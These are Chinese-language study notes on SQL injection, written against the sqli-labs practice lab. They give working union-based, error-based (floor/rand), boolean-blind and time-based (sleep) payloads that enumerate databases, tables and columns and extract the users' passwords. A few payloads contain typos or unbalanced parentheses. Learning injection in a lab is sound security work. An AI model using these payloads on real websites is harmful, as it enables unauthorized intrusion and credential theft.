SQL注入
1、测试交互方法,判断浏览器提交数据和web服务器的交互方式。
- get提交
提交的数据在URL中显示 - post提交
没有在URL中显示
2、判断提交变量的数据类型
- 整形
id=1 and 1=2 //让提交数据为False(假)
有交互数据显示则为整形,否则为str - 字符型
id=1 and 1=2
无交互显示,则进一步判断闭合方式
常见的闭合方式 ‘’ “” () (’’) ("")等
3、构造闭合(整形不需要)
id=1’ 例如是’闭合的话输入这个语句会显示语法错误,然后我们可以用–+来把没有闭合的后一个’注释掉从而rag语法正确id=1' --+
- 进一步完善
id=1' and 1=2 --+
查看有没有回显错误,如果没有则确认闭合方式 - 完善输出位
id=-1 or 1=1
让id=-1不能查询数据(False)而1=1(True)
4、构造SQL语句并判断数据库表的列数
只能判断正确的列才能成功取出数据
http://192.168.99.152/sqli-labs-master/Less-2/?id=-1 union all select 1,2,3 //整形数据构造
http://192.168.99.152/sqli-labs-master/Less-1/?id=-1‘ union all select 1,2,3 --+ //字符型数据构造
5、在页面显示位输入需要回显的SQL语句
下面的例子中2、3显示列,会出现在页面中,所以替换2或者3
http://192.168.99.152/sqli-labs-master/Less-1/?id=-1‘ union all select 1,database(),3 --+ //替换2显示位,替换为显示当前数据名的函数
SQL构造语句常见示例
database() //爆数据库的函数
group_concat(table_name) from information_schema.tables where TABLE_schema = 'your database' //通过以知数据库爆出表名
group_concat(column_name) from information_schema.columns where TABLE_name = 'your table' and table_schema = 'your database' //爆出列名
group_concat(password),3 from users //爆出数据
报错型SQL注入
报错型SQL注入与上述SQL注入的前三步是一致的,但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果SQL语句出现错误则可以显示在页面上,我们可以利用这点来构造报错显示SQL语句。下边是利用count(*), FLOOR(RAND(0)*2,group by
三种函数进行报错显示。
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //库名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //表名,更改库名进行不同库中表的查看
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //列名,更改库名和表名,对特定的表中的列进行查看
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) //数据(这个构造数据只能一个一个爆出来,通过limit函数控制),更改列名(password)查询不同列中数据
布尔型盲注
布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误两种不同页面(报错型至少语法错误会回显在错误页面上)或者无法使用联合查询。
注意前三个步骤还是和前面一样的,至少需要构造出闭合。
布尔型是利用页面至少会呈现正确提交和错误提交两种不同回馈,来构造SQL语句诸葛猜测数据库中内容。
例如:一个人不说话,如果你说对了他就点头,说错了就摇头。
理解以下场景:
菜鸟:“大佬,你是不姓张?”
不说话的大佬:摇头ing
菜鸟:“我知道了,大佬你姓王是不是?”
不说话的大佬:欣慰的点头ing
菜鸟自语:“原来大佬姓王啊”
然后菜鸟开始了新一轮的猜测问答
以上就是布尔型盲注的原理。
我们需要用到函数
Length() //返回字符串的长度
Length(abc) //返回3,表示abc字符串长度为3
Substr() //截取字符串
Stbstr(abc,1,1) //返回a,从abc的第一位开始截,步长为1。
mid() //取出字符串的一部分值
mid(abc,1,1) //返回a,从abc的第一位开取,步长为1.与substr()用法一致
left() //取出字符串左边的几个数据
left(abc,1) //返回a
left(abc,2) //返回ab
right() //取出右边的几个数据
right(abc,1) //返回c
right(abc,2) //返回bc
ord()与ascii() //十进制编码
与 ascii() //返回一个字符的ascii码值
ascii(s) //返回114
hex() //返回16进制数编码
- 构造判断语句
id =1 and 1=2
id =1’ and 1=2 --+
id =1“ and 1=2 --+ - 构造暴库语句
id=1‘ and length(database())>1 --+ //增1这个数字大小来判断库名长度
id 1’ and ascii(substr(database(),1,1)) > 1 --+ //增加1这个数据来判断数据库名的第一个字母ascii值大小,参考码表
id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))>1 --+ //表名
id =1‘ and ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = '库名' limit 0,1),1,1))>1 //列名
id=1‘ and ascii(substr((select ’列名‘ from '表名' limit 0,1),1,1))>1 //爆值
根据ascii表进行猜测
时间性盲注
时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
利用函数:
lenght()
ascii()
mid()
substr()
hex()
//以上在布尔型中介绍过
sleep() //时间注入的核心函数
sleep(1) //过1秒响应
if()函数
if(1=1,3,4) 返回 3
if(1=2,3,4) 返回 4
- 构造判断语句
id=1' and if(1=2,1, sleep(10)) --+
id=1" and if(1=2,1, sleep(10)) --+
id=1) and if(1=2,1, sleep(10)) --+
- 构造暴库语句
id=1‘ and if((length(database()>1),sleep(4),0) --+ //增加1值来猜库名的长度
id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ //库名
id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = 'your database'limit 0,1),1,1)) > 1),sleep(4),0 )--+ //表名